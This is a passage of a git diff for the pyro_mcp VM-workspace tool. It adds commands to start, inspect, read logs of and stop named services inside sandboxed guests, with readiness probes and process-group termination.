formatter_class=_HelpFormatter, + ) + workspace_service_start_parser.add_argument("workspace_id", metavar="WORKSPACE_ID") + workspace_service_start_parser.add_argument("service_name", metavar="SERVICE_NAME") + workspace_service_start_parser.add_argument( + "--cwd", + default=WORKSPACE_GUEST_PATH, + help="Service working directory. Relative values resolve inside `/workspace`.", + ) + workspace_service_start_parser.add_argument( + "--ready-file", + help="Mark the service ready once this workspace path exists.", + ) + workspace_service_start_parser.add_argument( + "--ready-tcp", + help="Mark the service ready once this HOST:PORT accepts guest-local TCP connections.", + ) + workspace_service_start_parser.add_argument( + "--ready-http", + help="Mark the service ready once this guest-local URL returns 2xx or 3xx.", + ) + workspace_service_start_parser.add_argument( + "--ready-command", + help="Escape hatch readiness probe command. Use typed readiness when possible.", + ) + workspace_service_start_parser.add_argument( + "--ready-timeout-seconds", + type=int, + default=DEFAULT_SERVICE_READY_TIMEOUT_SECONDS, + help="Maximum time to wait for readiness before failing the service start.", + ) + workspace_service_start_parser.add_argument( + "--ready-interval-ms", + type=int, + default=DEFAULT_SERVICE_READY_INTERVAL_MS, + help="Polling interval between readiness checks.", + ) + workspace_service_start_parser.add_argument( + "--json", + action="store_true", + help="Print structured JSON instead of human-readable output.", + ) + workspace_service_start_parser.add_argument( + "command_args", + nargs="*", + metavar="ARG", + help="Service command and arguments. Prefix them with `--`.", + ) + workspace_service_list_parser = workspace_service_subparsers.add_parser( + "list", + help="List named services in one workspace.", + description="List named services and their current states for one workspace.", + epilog="Example:\n pyro workspace service list WORKSPACE_ID", + formatter_class=_HelpFormatter, + ) + workspace_service_list_parser.add_argument("workspace_id", metavar="WORKSPACE_ID") + workspace_service_list_parser.add_argument( + "--json", + action="store_true", + help="Print structured JSON instead of human-readable output.", + ) + workspace_service_status_parser = workspace_service_subparsers.add_parser( + "status", + help="Inspect one service.", + description="Show state and readiness metadata for one named workspace service.", + epilog="Example:\n pyro workspace service status WORKSPACE_ID app", + formatter_class=_HelpFormatter, + ) + workspace_service_status_parser.add_argument("workspace_id", metavar="WORKSPACE_ID") + workspace_service_status_parser.add_argument("service_name", metavar="SERVICE_NAME") + workspace_service_status_parser.add_argument( + "--json", + action="store_true", + help="Print structured JSON instead of human-readable output.", + ) + workspace_service_logs_parser = workspace_service_subparsers.add_parser( + "logs", + help="Read persisted service stdout and stderr.", + description="Read service stdout and stderr without using `workspace logs`.", + epilog="Example:\n pyro workspace service logs WORKSPACE_ID app --tail-lines 50", + formatter_class=_HelpFormatter, + ) + workspace_service_logs_parser.add_argument("workspace_id", metavar="WORKSPACE_ID") + workspace_service_logs_parser.add_argument("service_name", metavar="SERVICE_NAME") + workspace_service_logs_parser.add_argument( + "--tail-lines", + type=int, + default=DEFAULT_SERVICE_LOG_TAIL_LINES, + help="Maximum number of trailing lines to return from each service log stream.", + ) + workspace_service_logs_parser.add_argument( + "--all", + action="store_true", + help="Return full stdout and stderr instead of tailing them.", + ) + workspace_service_logs_parser.add_argument( + "--json", + action="store_true", + help="Print structured JSON instead of human-readable output.", + ) + workspace_service_stop_parser = workspace_service_subparsers.add_parser( + "stop", + help="Stop one running service.", + description="Stop one named workspace service with TERM then KILL fallback.", + epilog="Example:\n pyro workspace service stop WORKSPACE_ID app", + formatter_class=_HelpFormatter, + ) + workspace_service_stop_parser.add_argument("workspace_id", metavar="WORKSPACE_ID") + workspace_service_stop_parser.add_argument("service_name", metavar="SERVICE_NAME") + workspace_service_stop_parser.add_argument( + "--json", + action="store_true", + help="Print structured JSON instead of human-readable output.", + ) workspace_status_parser = workspace_subparsers.add_parser( "status", help="Inspect one workspace.", @@ -1372,6 +1576,128 @@ def main() -> None: else: _print_workspace_shell_summary_human(payload, prefix="workspace-shell-close") return + if args.workspace_command == "service": + if args.workspace_service_command == "start": + readiness_count = sum( + value is not None + for value in ( + args.ready_file, + args.ready_tcp, + args.ready_http, + args.ready_command, + ) + ) + if readiness_count > 1: + error = ( + "choose at most one of --ready-file, --ready-tcp, " + "--ready-http, or --ready-command" + ) + if bool(args.json): + _print_json({"ok": False, "error": error}) + else: + print(f"[error] {error}", file=sys.stderr, flush=True) + raise SystemExit(1) + readiness: dict[str, Any] | None = None + if args.ready_file is not None: + readiness = {"type": "file", "path": args.ready_file} + elif args.ready_tcp is not None: + readiness = {"type": "tcp", "address": args.ready_tcp} + elif args.ready_http is not None: + readiness = {"type": "http", "url": args.ready_http} + elif args.ready_command is not None: + readiness = {"type": "command", "command": args.ready_command} + command = _require_command(args.command_args) + try: + payload = pyro.start_service( + args.workspace_id, + args.service_name, + command=command, + cwd=args.cwd, + readiness=readiness, + ready_timeout_seconds=args.ready_timeout_seconds, + ready_interval_ms=args.ready_interval_ms, + ) + except Exception as exc: # noqa: BLE001 + if bool(args.json): + _print_json({"ok": False, "error": str(exc)}) + else: + print(f"[error] {exc}", file=sys.stderr, flush=True) + raise SystemExit(1) from exc + if bool(args.json): + _print_json(payload) + else: + _print_workspace_service_summary_human( + payload, + prefix="workspace-service-start", + ) + return + if args.workspace_service_command == "list": + try: + payload = pyro.list_services(args.workspace_id) + except Exception as exc: # noqa: BLE001 + if bool(args.json): + _print_json({"ok": False, "error": str(exc)}) + else: + print(f"[error] {exc}", file=sys.stderr, flush=True) + raise SystemExit(1) from exc + if bool(args.json): + _print_json(payload) + else: + _print_workspace_service_list_human(payload) + return + if args.workspace_service_command == "status": + try: + payload = pyro.status_service(args.workspace_id, args.service_name) + except Exception as exc: # noqa: BLE001 + if bool(args.json): + _print_json({"ok": False, "error": str(exc)}) + else: + print(f"[error] {exc}", file=sys.stderr, flush=True) + raise SystemExit(1) from exc + if bool(args.json): + _print_json(payload) + else: + _print_workspace_service_summary_human( + payload, + prefix="workspace-service-status", + ) + return + if args.workspace_service_command == "logs": + try: + payload = pyro.logs_service( + args.workspace_id, + args.service_name, + tail_lines=args.tail_lines, + all=bool(args.all), + ) + except Exception as exc: # noqa: BLE001 + if bool(args.json): + _print_json({"ok": False, "error": str(exc)}) + else: + print(f"[error] {exc}", file=sys.stderr, flush=True) + raise SystemExit(1) from exc + if bool(args.json): + _print_json(payload) + else: + _print_workspace_service_logs_human(payload) + return + if args.workspace_service_command == "stop": + try: + payload = pyro.stop_service(args.workspace_id, args.service_name) + except Exception as exc: # noqa: BLE001 + if bool(args.json): + _print_json({"ok": False, "error": str(exc)}) + else: + print(f"[error] {exc}", file=sys.stderr, flush=True) + raise SystemExit(1) from exc + if bool(args.json): + _print_json(payload) + else: + _print_workspace_service_summary_human( + payload, + prefix="workspace-service-stop", + ) + return if args.workspace_command == "status": payload = pyro.status_workspace(args.workspace_id) if bool(args.json): diff --git a/src/pyro_mcp/contract.py b/src/pyro_mcp/contract.py index 0d68527..9a16cc3 100644 --- a/src/pyro_mcp/contract.py +++ b/src/pyro_mcp/contract.py @@ -12,10 +12,12 @@ PUBLIC_CLI_WORKSPACE_SUBCOMMANDS = ( "exec", "export", "logs", + "service", "shell", "status", "sync", ) +PUBLIC_CLI_WORKSPACE_SERVICE_SUBCOMMANDS = ("list", "logs", "start", "status", "stop") PUBLIC_CLI_WORKSPACE_SHELL_SUBCOMMANDS = ("close", "open", "read", "signal", "write") PUBLIC_CLI_WORKSPACE_SYNC_SUBCOMMANDS = ("push",) PUBLIC_CLI_WORKSPACE_CREATE_FLAGS = ( @@ -29,6 +31,20 @@ PUBLIC_CLI_WORKSPACE_CREATE_FLAGS = ( ) PUBLIC_CLI_WORKSPACE_DIFF_FLAGS = ("--json",) PUBLIC_CLI_WORKSPACE_EXPORT_FLAGS = ("--output", "--json") +PUBLIC_CLI_WORKSPACE_SERVICE_LIST_FLAGS = ("--json",) +PUBLIC_CLI_WORKSPACE_SERVICE_LOGS_FLAGS = ("--tail-lines", "--all", "--json") +PUBLIC_CLI_WORKSPACE_SERVICE_START_FLAGS = ( + "--cwd", + "--ready-file", + "--ready-tcp", + "--ready-http", + "--ready-command", + "--ready-timeout-seconds", + "--ready-interval-ms", + "--json", +) +PUBLIC_CLI_WORKSPACE_SERVICE_STATUS_FLAGS = ("--json",) +PUBLIC_CLI_WORKSPACE_SERVICE_STOP_FLAGS = ("--json",) PUBLIC_CLI_WORKSPACE_SHELL_OPEN_FLAGS = ("--cwd", "--cols", "--rows", "--json") PUBLIC_CLI_WORKSPACE_SHELL_READ_FLAGS = ("--cursor", "--max-chars", "--json") PUBLIC_CLI_WORKSPACE_SHELL_WRITE_FLAGS = ("--input", "--no-newline", "--json") @@ -58,6 +74,8 @@ PUBLIC_SDK_METHODS = ( "export_workspace", "inspect_environment", "list_environments", + "list_services", + "logs_service", "logs_workspace", "network_info_vm", "open_shell", @@ -68,14 +86,22 @@ PUBLIC_SDK_METHODS = ( "reap_expired", "run_in_vm", "signal_shell", + "start_service", "start_vm", + "status_service", "status_vm", "status_workspace", + "stop_service", "stop_vm", "write_shell", ) PUBLIC_MCP_TOOLS = ( + "service_list", + "service_logs", + "service_start", + "service_status", + "service_stop", "shell_close", "shell_open", "shell_read", diff --git a/src/pyro_mcp/runtime_bundle/linux-x86_64/guest/pyro_guest_agent.py b/src/pyro_mcp/runtime_bundle/linux-x86_64/guest/pyro_guest_agent.py index 91a9103..739bc67 100755 --- a/src/pyro_mcp/runtime_bundle/linux-x86_64/guest/pyro_guest_agent.py +++ b/src/pyro_mcp/runtime_bundle/linux-x86_64/guest/pyro_guest_agent.py @@ -8,7 +8,8 @@ import fcntl import io import json import os -import pty +import re +import shlex import signal import socket import struct @@ -18,6 +19,8 @@ import tempfile import termios import threading import time +import urllib.error +import urllib.request from pathlib import Path, PurePosixPath from typing import Any @@ -25,6 +28,8 @@ PORT = 5005 BUFFER_SIZE = 65536 WORKSPACE_ROOT = PurePosixPath("/workspace") SHELL_ROOT = Path("/run/pyro-shells") +SERVICE_ROOT = Path("/run/pyro-services") +SERVICE_NAME_RE = re.compile(r"^[A-Za-z0-9][A-Za-z0-9._-]{0,63}$") SHELL_SIGNAL_MAP = { "HUP": signal.SIGHUP, "INT": signal.SIGINT, @@ -105,6 +110,35 @@ def _normalize_shell_cwd(cwd: str) -> tuple[str, Path]: return str(normalized), host_path +def _normalize_service_name(service_name: str) -> str: + normalized = service_name.strip() + if normalized == "": + raise RuntimeError("service_name is required") + if SERVICE_NAME_RE.fullmatch(normalized) is None: + raise RuntimeError("service_name is invalid") + return normalized + + +def _service_stdout_path(service_name: str) -> Path: + return SERVICE_ROOT / f"{service_name}.stdout" + + +def _service_stderr_path(service_name: str) -> Path: + return SERVICE_ROOT / f"{service_name}.stderr" + + +def _service_status_path(service_name: str) -> Path: + return SERVICE_ROOT / f"{service_name}.status" + + +def _service_runner_path(service_name: str) -> Path: + return SERVICE_ROOT / f"{service_name}.runner.sh" + + +def _service_metadata_path(service_name: str) -> Path: + return SERVICE_ROOT / f"{service_name}.json" + + def _validate_symlink_target(member_path: PurePosixPath, link_target: str) -> None: target = link_target.strip() if target == "": @@ -286,7 +320,7 @@ class GuestShellSession: self._log_path = SHELL_ROOT / f"{shell_id}.log" self._master_fd: int | None = None - master_fd, slave_fd = pty.openpty() + master_fd, slave_fd = os.openpty() try: _set_pty_size(slave_fd, rows, cols) env = os.environ.copy() @@ -512,6 +546,268 @@ def _remove_shell(shell_id: str) -> GuestShellSession: raise RuntimeError(f"shell {shell_id!r} does not exist") from exc +def _read_service_metadata(service_name: str) -> dict[str, Any]: + metadata_path = _service_metadata_path(service_name) + if not metadata_path.exists(): + raise RuntimeError(f"service {service_name!r} does not exist") + payload = json.loads(metadata_path.read_text(encoding="utf-8")) + if not isinstance(payload, dict): + raise RuntimeError(f"service record for {service_name!r} is invalid") + return payload + + +def _write_service_metadata(service_name: str, payload: dict[str, Any]) -> None: + _service_metadata_path(service_name).write_text( + json.dumps(payload, indent=2, sort_keys=True), + encoding="utf-8", + ) + + +def _service_exit_code(service_name: str) -> int | None: + status_path = _service_status_path(service_name) + if not status_path.exists(): + return None + raw_value = status_path.read_text(encoding="utf-8", errors="ignore").strip() + if raw_value == "": + return None + return int(raw_value) + + +def _service_pid_running(pid: int | None) -> bool: + if pid is None: + return False + try: + os.kill(pid, 0) + except ProcessLookupError: + return False + except PermissionError: + return True + return True + + +def _tail_service_text(path: Path, *, tail_lines: int | None) -> tuple[str, bool]: + if not path.exists(): + return "", False + text = path.read_text(encoding="utf-8", errors="replace") + if tail_lines is None: + return text, False + lines = text.splitlines(keepends=True) + if len(lines) <= tail_lines: + return text, False + return "".join(lines[-tail_lines:]), True + + +def _stop_service_process(pid: int) -> tuple[bool, bool]: + try: + os.killpg(pid, signal.SIGTERM) + except ProcessLookupError: + return False, False + deadline = time.monotonic() + 5 + while time.monotonic() < deadline: + if not _service_pid_running(pid): + return True, False + time.sleep(0.1) + try: + os.killpg(pid, signal.SIGKILL) + except ProcessLookupError: + return True, False + deadline = time.monotonic() + 5 + while time.monotonic() < deadline: + if not _service_pid_running(pid): + return True, True + time.sleep(0.1) + return True, True + + +def _refresh_service_payload(service_name: str, payload: dict[str, Any]) -> dict[str, Any]: + if str(payload.get("state", "stopped")) != "running": + return payload + pid = payload.get("pid") + normalized_pid = None if pid is None else int(pid) + if _service_pid_running(normalized_pid): + return payload + refreshed = dict(payload) + refreshed["state"] = "exited" + refreshed["ended_at"] = refreshed.get("ended_at") or time.time() + refreshed["exit_code"] = _service_exit_code(service_name) + _write_service_metadata(service_name, refreshed) + return refreshed + + +def _run_readiness_probe(readiness: dict[str, Any] | None, *, cwd: Path) -> bool: + if readiness is None: + return True + readiness_type = str(readiness["type"]) + if readiness_type == "file": + _, ready_path = _normalize_destination(str(readiness["path"])) + return ready_path.exists() + if readiness_type == "tcp": + host, raw_port = str(readiness["address"]).rsplit(":", 1) + with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as sock: + sock.settimeout(1) + try: + sock.connect((host, int(raw_port))) + except OSError: + return False + return True + if readiness_type == "http": + request = urllib.request.Request(str(readiness["url"]), method="GET") + try: + with urllib.request.urlopen(request, timeout=2) as response: # noqa: S310 + return 200 <= int(response.status) < 400 + except (urllib.error.URLError, TimeoutError, ValueError): + return False + if readiness_type == "command": + proc = subprocess.run( # noqa: S603 + ["/bin/sh", "-lc", str(readiness["command"])], + cwd=str(cwd), + text=True, + capture_output=True, + timeout=10, + check=False, + ) + return proc.returncode == 0 + raise RuntimeError(f"unsupported readiness type: {readiness_type}") + + +def _start_service( + *, + service_name: str, + command: str, + cwd_text: str, + readiness: dict[str, Any] | None, + ready_timeout_seconds: int, + ready_interval_ms: int, +) -> dict[str, Any]: + normalized_service_name = _normalize_service_name(service_name) + normalized_cwd, cwd_path = _normalize_shell_cwd(cwd_text) + existing = None + metadata_path = _service_metadata_path(normalized_service_name) + if metadata_path.exists(): + existing = _refresh_service_payload( + normalized_service_name, + _read_service_metadata(normalized_service_name), + ) + if existing is not None and str(existing.get("state", "stopped")) == "running": + raise RuntimeError(f"service {normalized_service_name!r} is already running") + SERVICE_ROOT.mkdir(parents=True, exist_ok=True) + stdout_path = _service_stdout_path(normalized_service_name) + stderr_path = _service_stderr_path(normalized_service_name) + status_path = _service_status_path(normalized_service_name) + runner_path = _service_runner_path(normalized_service_name) + stdout_path.write_text("", encoding="utf-8") + stderr_path.write_text("", encoding="utf-8") + status_path.unlink(missing_ok=True) + runner_path.write_text( + "\n".join( + [ + "#!/bin/sh", + "set +e", + f"cd {shlex.quote(str(cwd_path))}", + ( + f"/bin/sh -lc {shlex.quote(command)}" + f" >> {shlex.quote(str(stdout_path))}" + f" 2>> {shlex.quote(str(stderr_path))}" + ), + "status=$?", + f"printf '%s' \"$status\" > {shlex.quote(str(status_path))}", + "exit \"$status\"", + ] + ) + + "\n", + encoding="utf-8", + ) + runner_path.chmod(0o700) + process = subprocess.Popen( # noqa: S603 + [str(runner_path)], + cwd=str(cwd_path), + text=True, + start_new_session=True, + ) + payload: dict[str, Any] = { + "service_name": normalized_service_name, + "command": command, + "cwd": normalized_cwd, + "state": "running", + "started_at": time.time(), + "readiness": readiness, + "ready_at": None, + "ended_at": None, + "exit_code": None, + "pid": process.pid, + "stop_reason": None, + } + _write_service_metadata(normalized_service_name, payload) + deadline = time.monotonic() + ready_timeout_seconds + while True: + payload = _refresh_service_payload(normalized_service_name, payload) + if str(payload.get("state", "stopped")) != "running": + payload["state"] = "failed" + payload["stop_reason"] = "process_exited_before_ready" + payload["ended_at"] = payload.get("ended_at") or time.time() + _write_service_metadata(normalized_service_name, payload) + return payload + if _run_readiness_probe(readiness, cwd=cwd_path): + payload["ready_at"] = time.time() + _write_service_metadata(normalized_service_name, payload) + return payload + if time.monotonic() >= deadline: + _stop_service_process(process.pid) + payload = _refresh_service_payload(normalized_service_name, payload) + payload["state"] = "failed" + payload["stop_reason"] = "readiness_timeout" + payload["ended_at"] = payload.get("ended_at") or time.time() + _write_service_metadata(normalized_service_name, payload) + return payload + time.sleep(max(ready_interval_ms, 1) / 1000) + + +def _status_service(service_name: str) -> dict[str, Any]: + normalized_service_name = _normalize_service_name(service_name) + return _refresh_service_payload( + normalized_service_name, + _read_service_metadata(normalized_service_name), + ) + + +def _logs_service(service_name: str, *, tail_lines: int | None) -> dict[str, Any]: + normalized_service_name = _normalize_service_name(service_name) + payload = _status_service(normalized_service_name) + stdout, stdout_truncated = _tail_service_text( + _service_stdout_path(normalized_service_name), + tail_lines=tail_lines, + ) + stderr, stderr_truncated = _tail_service_text( + _service_stderr_path(normalized_service_name), + tail_lines=tail_lines, + ) + payload.update( + { + "stdout": stdout, + "stderr": stderr, + "tail_lines": tail_lines, + "truncated": stdout_truncated or stderr_truncated, + } + ) + return payload + + +def _stop_service(service_name: str) -> dict[str, Any]: + normalized_service_name = _normalize_service_name(service_name) + payload = _status_service(normalized_service_name) + pid = payload.get("pid") + if pid is None: + return payload + if str(payload.get("state", "stopped")) == "running": + _, killed = _stop_service_process(int(pid)) + payload = _status_service(normalized_service_name) + payload["state"] = "stopped" + payload["stop_reason"] = "sigkill" if killed else "sigterm" + payload["ended_at"] = payload.get("ended_at") or time.time() + _write_service_metadata(normalized_service_name, payload) + return payload + + def _dispatch(request: dict[str, Any], conn: socket.socket) -> dict[str, Any]: action = str(request.get("action", "exec")) if action == "extract_archive": @@ -564,6 +860,31 @@ def _dispatch(request: dict[str, Any], conn: socket.socket) -> dict[str, Any]: if shell_id == "": raise RuntimeError("shell_id is required") return _remove_shell(shell_id).close() + if action == "start_service": + service_name = str(request.get("service_name", "")).strip() + command = str(request.get("command", "")) + cwd_text = str(request.get("cwd", "/workspace")) + readiness = request.get("readiness") + readiness_payload = dict(readiness) if isinstance(readiness, dict) else None + return _start_service( + service_name=service_name, + command=command, + cwd_text=cwd_text, + readiness=readiness_payload, + ready_timeout_seconds=int(request.get("ready_timeout_seconds", 30)), + ready_interval_ms=int(request.get("ready_interval_ms", 500)), + ) + if action == "status_service": + service_name = str(request.get("service_name", "")).strip() + return _status_service(service_name) + if action == "logs_service": + service_name = str(request.get("service_name", "")).strip() + tail_lines = request.get("tail_lines") + normalized_tail_lines = None if tail_lines is None else int(tail_lines) + return _logs_service(service_name, tail_lines=normalized_tail_lines) + if action == "stop_service": + service_name = str(request.get("service_name", "")).strip() + return _stop_service(service_name) command = str(request.get("command", "")) timeout_seconds = int(request.get("timeout_seconds", 30)) return _run_command(command, timeout_seconds) @@ -571,6 +892,7 @@ def _dispatch(request: dict[str, Any], conn: socket.socket) -> dict[str, Any]: def main() -> None: SHELL_ROOT.mkdir(parents=True, exist_ok=True) + SERVICE_ROOT.mkdir(parents=True, exist_ok=True) family = getattr(socket, "AF_VSOCK", None) if family is None: raise SystemExit("AF_VSOCK is unavailable") diff --git a/src/pyro_mcp/runtime_bundle/linux-x86_64/manifest.json b/src/pyro_mcp/runtime_bundle/linux-x86_64/manifest.json index d58fbbf..65229d9 100644 --- a/src/pyro_mcp/runtime_bundle/linux-x86_64/manifest.json +++ b/src/pyro_mcp/runtime_bundle/linux-x86_64/manifest.json @@ -25,7 +25,7 @@ "guest": { "agent": { "path": "guest/pyro_guest_agent.py", - "sha256": "4118589ccd8f4ac8200d9cedf25d13ff515d77c28094bbbdb208310247688b40" + "sha256": "58dd2e09d05538228540d8c667b1acb42c2e6c579f7883b70d483072570f2499" } }, "platform": "linux-x86_64", diff --git a/src/pyro_mcp/vm_environments.py b/src/pyro_mcp/vm_environments.py index 8f07ca6..2a8ce4c 100644 --- a/src/pyro_mcp/vm_environments.py +++ b/src/pyro_mcp/vm_environments.py @@ -19,7 +19,7 @@ from typing import Any from pyro_mcp.runtime import DEFAULT_PLATFORM, RuntimePaths DEFAULT_ENVIRONMENT_VERSION = "1.0.0" -DEFAULT_CATALOG_VERSION = "2.6.0" +DEFAULT_CATALOG_VERSION = "2.7.0" OCI_MANIFEST_ACCEPT = ", ".join( ( "application/vnd.oci.image.index.v1+json", diff --git a/src/pyro_mcp/vm_guest.py b/src/pyro_mcp/vm_guest.py index c9a8db8..253bc98 100644 --- a/src/pyro_mcp/vm_guest.py +++ b/src/pyro_mcp/vm_guest.py @@ -325,6 +325,102 @@ class VsockExecClient: self._shell_summary_from_payload(payload) return payload + def start_service( + self, + guest_cid: int, + port: int, + *, + service_name: str, + command: str, + cwd: str, + readiness: dict[str, Any] | None, + ready_timeout_seconds: int, + ready_interval_ms: int, + timeout_seconds: int = 60, + uds_path: str | None = None, + ) -> dict[str, Any]: + return self._request_json( + guest_cid, + port, + { + "action": "start_service", + "service_name": service_name, + "command": command, + "cwd": cwd, + "readiness": readiness, + "ready_timeout_seconds": ready_timeout_seconds, + "ready_interval_ms": ready_interval_ms, + }, + timeout_seconds=timeout_seconds, + uds_path=uds_path, + error_message="guest service start response must be a JSON object", + ) + + def status_service( + self, + guest_cid: int, + port: int, + *, + service_name: str, + timeout_seconds: int = 30, + uds_path: str | None = None, + ) -> dict[str, Any]: + return self._request_json( + guest_cid, + port, + { + "action": "status_service", + "service_name": service_name, + }, + timeout_seconds=timeout_seconds, + uds_path=uds_path, + error_message="guest service status response must be a JSON object", + ) + + def logs_service( + self, + guest_cid: int, + port: int, + *, + service_name: str, + tail_lines: int | None, + timeout_seconds: int = 30, + uds_path: str | None = None, + ) -> dict[str, Any]: + return self._request_json( + guest_cid, + port, + { + "action": "logs_service", + "service_name": service_name, + "tail_lines": tail_lines, + }, + timeout_seconds=timeout_seconds, + uds_path=uds_path, + error_message="guest service logs response must be a JSON object", + ) + + def stop_service( + self, + guest_cid: int, + port: int, + *, + service_name: str, + timeout_seconds: int = 30, + uds_path: str | None = None, + ) -> dict[str, Any]: + return self._request_json( + guest_cid, + port, + { + "action": "stop_service", + "service_name": service_name, + }, + timeout_seconds=timeout_seconds, + uds_path=uds_path, + error_message="guest service stop response must be a JSON object", + ) + def _request_json( self, guest_cid: int, diff --git a/src/pyro_mcp/vm_manager.py b/src/pyro_mcp/vm_manager.py index 225ab2b..713769f 100644 --- a/src/pyro_mcp/vm_manager.py +++ b/src/pyro_mcp/vm_manager.py @@ -5,14 +5,18 @@ from __future__ import annotations import difflib import json import os +import re import shlex import shutil import signal +import socket import subprocess import tarfile import tempfile import threading import time +import urllib.error +import urllib.request import uuid from dataclasses import dataclass, field from pathlib import Path, PurePosixPath @@ -37,6 +41,7 @@ from pyro_mcp.workspace_shells import ( VmState = Literal["created", "started", "stopped"] WorkspaceShellState = Literal["running", "stopped"] +WorkspaceServiceState = Literal["running", "exited", "stopped", "failed"] DEFAULT_VCPU_COUNT = 1 DEFAULT_MEM_MIB = 1024 @@ -50,6 +55,7 @@ WORKSPACE_BASELINE_ARCHIVE_NAME = "workspace.tar" WORKSPACE_DIRNAME = "workspace" WORKSPACE_COMMANDS_DIRNAME = "commands" WORKSPACE_SHELLS_DIRNAME = "shells" +WORKSPACE_SERVICES_DIRNAME = "services" WORKSPACE_RUNTIME_DIRNAME = "runtime" WORKSPACE_GUEST_PATH = "/workspace" WORKSPACE_GUEST_AGENT_PATH = "/opt/pyro/bin/pyro_guest_agent.py" @@ -57,10 +63,15 @@ WORKSPACE_ARCHIVE_UPLOAD_TIMEOUT_SECONDS = 60 DEFAULT_SHELL_COLS = 120 DEFAULT_SHELL_ROWS = 30 DEFAULT_SHELL_MAX_CHARS = 65536 +DEFAULT_SERVICE_READY_TIMEOUT_SECONDS = 30 +DEFAULT_SERVICE_READY_INTERVAL_MS = 500 +DEFAULT_SERVICE_LOG_TAIL_LINES = 200 WORKSPACE_SHELL_SIGNAL_NAMES = shell_signal_names() +WORKSPACE_SERVICE_NAME_RE = re.compile(r"^[A-Za-z0-9][A-Za-z0-9._-]{0,63}$") WorkspaceSeedMode = Literal["empty", "directory", "tar_archive"] WorkspaceArtifactType = Literal["file", "directory", "symlink"] +WorkspaceServiceReadinessType = Literal["file", "tcp", "http", "command"] @dataclass @@ -251,6 +262,75 @@ class WorkspaceShellRecord: metadata=_string_dict(payload.get("metadata")), ) + +@dataclass +class WorkspaceServiceRecord: + """Persistent service metadata stored on disk per workspace.""" + + workspace_id: str + service_name: str + command: str + cwd: str + state: WorkspaceServiceState + started_at: float + readiness: dict[str, Any] | None = None + ready_at: float | None = None + ended_at: float | None = None + exit_code: int | None = None + pid: int | None = None + execution_mode: str = "pending" + stop_reason: str | None = None + metadata: dict[str, str] = field(default_factory=dict) + + def to_payload(self) -> dict[str, Any]: + return { + "layout_version": WORKSPACE_LAYOUT_VERSION, + "workspace_id": self.workspace_id, + "service_name": self.service_name, + "command": self.command, + "cwd": self.cwd, + "state": self.state, + "started_at": self.started_at, + "readiness": self.readiness, + "ready_at": self.ready_at, + "ended_at": self.ended_at, + "exit_code": self.exit_code, + "pid": self.pid, + "execution_mode": self.execution_mode, + "stop_reason": self.stop_reason, + "metadata": dict(self.metadata), + } + + @classmethod + def from_payload(cls, payload: dict[str, Any]) -> WorkspaceServiceRecord: + readiness_payload = payload.get("readiness") + readiness = None + if isinstance(readiness_payload, dict): + readiness = dict(readiness_payload) + return cls( + workspace_id=str(payload["workspace_id"]), + service_name=str(payload["service_name"]), + command=str(payload.get("command", "")), + cwd=str(payload.get("cwd", WORKSPACE_GUEST_PATH)), + state=cast(WorkspaceServiceState, str(payload.get("state", "stopped"))), + started_at=float(payload.get("started_at", 0.0)), + readiness=readiness, + ready_at=( + None if payload.get("ready_at") is None else float(payload.get("ready_at", 0.0)) + ), + ended_at=( + None if payload.get("ended_at") is None else float(payload.get("ended_at", 0.0)) + ), + exit_code=( + None if payload.get("exit_code") is None else int(payload.get("exit_code", 0)) + ), + pid=None if payload.get("pid") is None else int(payload.get("pid", 0)), + execution_mode=str(payload.get("execution_mode", "pending")), + stop_reason=_optional_str(payload.get("stop_reason")), + metadata=_string_dict(payload.get("metadata")), + ) + + @dataclass(frozen=True) class PreparedWorkspaceSeed: """Prepared host-side seed archive plus metadata.""" @@ -772,6 +852,299 @@ def _extract_workspace_export_archive( } +def _normalize_workspace_service_name(service_name: str) -> str: + normalized = service_name.strip() + if normalized == "": + raise ValueError("service_name must not be empty") + if WORKSPACE_SERVICE_NAME_RE.fullmatch(normalized) is None: + raise ValueError( + "service_name must match " + r"^[A-Za-z0-9][A-Za-z0-9._-]{0,63}$" + ) + return normalized + + +def _normalize_workspace_service_readiness( + readiness: dict[str, Any] | None, +) -> dict[str, Any] | None: + if readiness is None: + return None + readiness_type = str(readiness.get("type", "")).strip().lower() + if readiness_type not in {"file", "tcp", "http", "command"}: + raise ValueError("readiness.type must be one of: file, tcp, http, command") + if readiness_type == "file": + path = str(readiness.get("path", "")).strip() + if path == "": + raise ValueError("readiness.path is required for file readiness") + normalized_path, _ = _normalize_workspace_destination(path) + return {"type": "file", "path": normalized_path} + if readiness_type == "tcp": + address = str(readiness.get("address", "")).strip() + if ":" not in address: + raise ValueError("readiness.address must be in HOST:PORT format") + host, raw_port = address.rsplit(":", 1) + host = host.strip() + if host == "": + raise ValueError("readiness.address host must not be empty") + try: + port = int(raw_port) + except ValueError as exc: + raise ValueError("readiness.address port must be an integer") from exc + if port <= 0 or port > 65535: + raise ValueError("readiness.address port must be between 1 and 65535") + return {"type": "tcp", "address": f"{host}:{port}"} + if readiness_type == "http": + url = str(readiness.get("url", "")).strip() + if url == "": + raise ValueError("readiness.url is required for http readiness") + return {"type": "http", "url": url} + command = str(readiness.get("command", "")).strip() + if command == "": + raise ValueError("readiness.command is required for command readiness") + return {"type": "command", "command": command} + + +def _workspace_service_status_path(services_dir: Path, service_name: str) -> Path: + return services_dir / f"{service_name}.status" + + +def _workspace_service_stdout_path(services_dir: Path, service_name: str) -> Path: + return services_dir / f"{service_name}.stdout" + + +def _workspace_service_stderr_path(services_dir: Path, service_name: str) -> Path: + return services_dir / f"{service_name}.stderr" + + +def _workspace_service_runner_path(services_dir: Path, service_name: str) -> Path: + return services_dir / f"{service_name}.runner.sh" + + +def _read_service_exit_code(status_path: Path) -> int | None: + if not status_path.exists(): + return None + raw_value = status_path.read_text(encoding="utf-8", errors="ignore").strip() + if raw_value == "": + return None + return int(raw_value) + + +def _tail_text(path: Path, *, tail_lines: int | None) -> tuple[str, bool]: + if not path.exists(): + return "", False + text = path.read_text(encoding="utf-8", errors="replace") + if tail_lines is None: + return text, False + lines = text.splitlines(keepends=True) + if len(lines) <= tail_lines: + return text, False + return "".join(lines[-tail_lines:]), True + + +def _stop_process_group(pid: int, *, wait_seconds: int = 5) -> tuple[bool, bool]: + try: + os.killpg(pid, signal.SIGTERM) + except ProcessLookupError: + return False, False + deadline = time.monotonic() + wait_seconds + while time.monotonic() < deadline: + if not _pid_is_running(pid): + return True, False + time.sleep(0.1) + try: + os.killpg(pid, signal.SIGKILL) + except ProcessLookupError: + return True, False + deadline = time.monotonic() + wait_seconds + while time.monotonic() < deadline: + if not _pid_is_running(pid): + return True, True + time.sleep(0.1) + return True, True + + +def 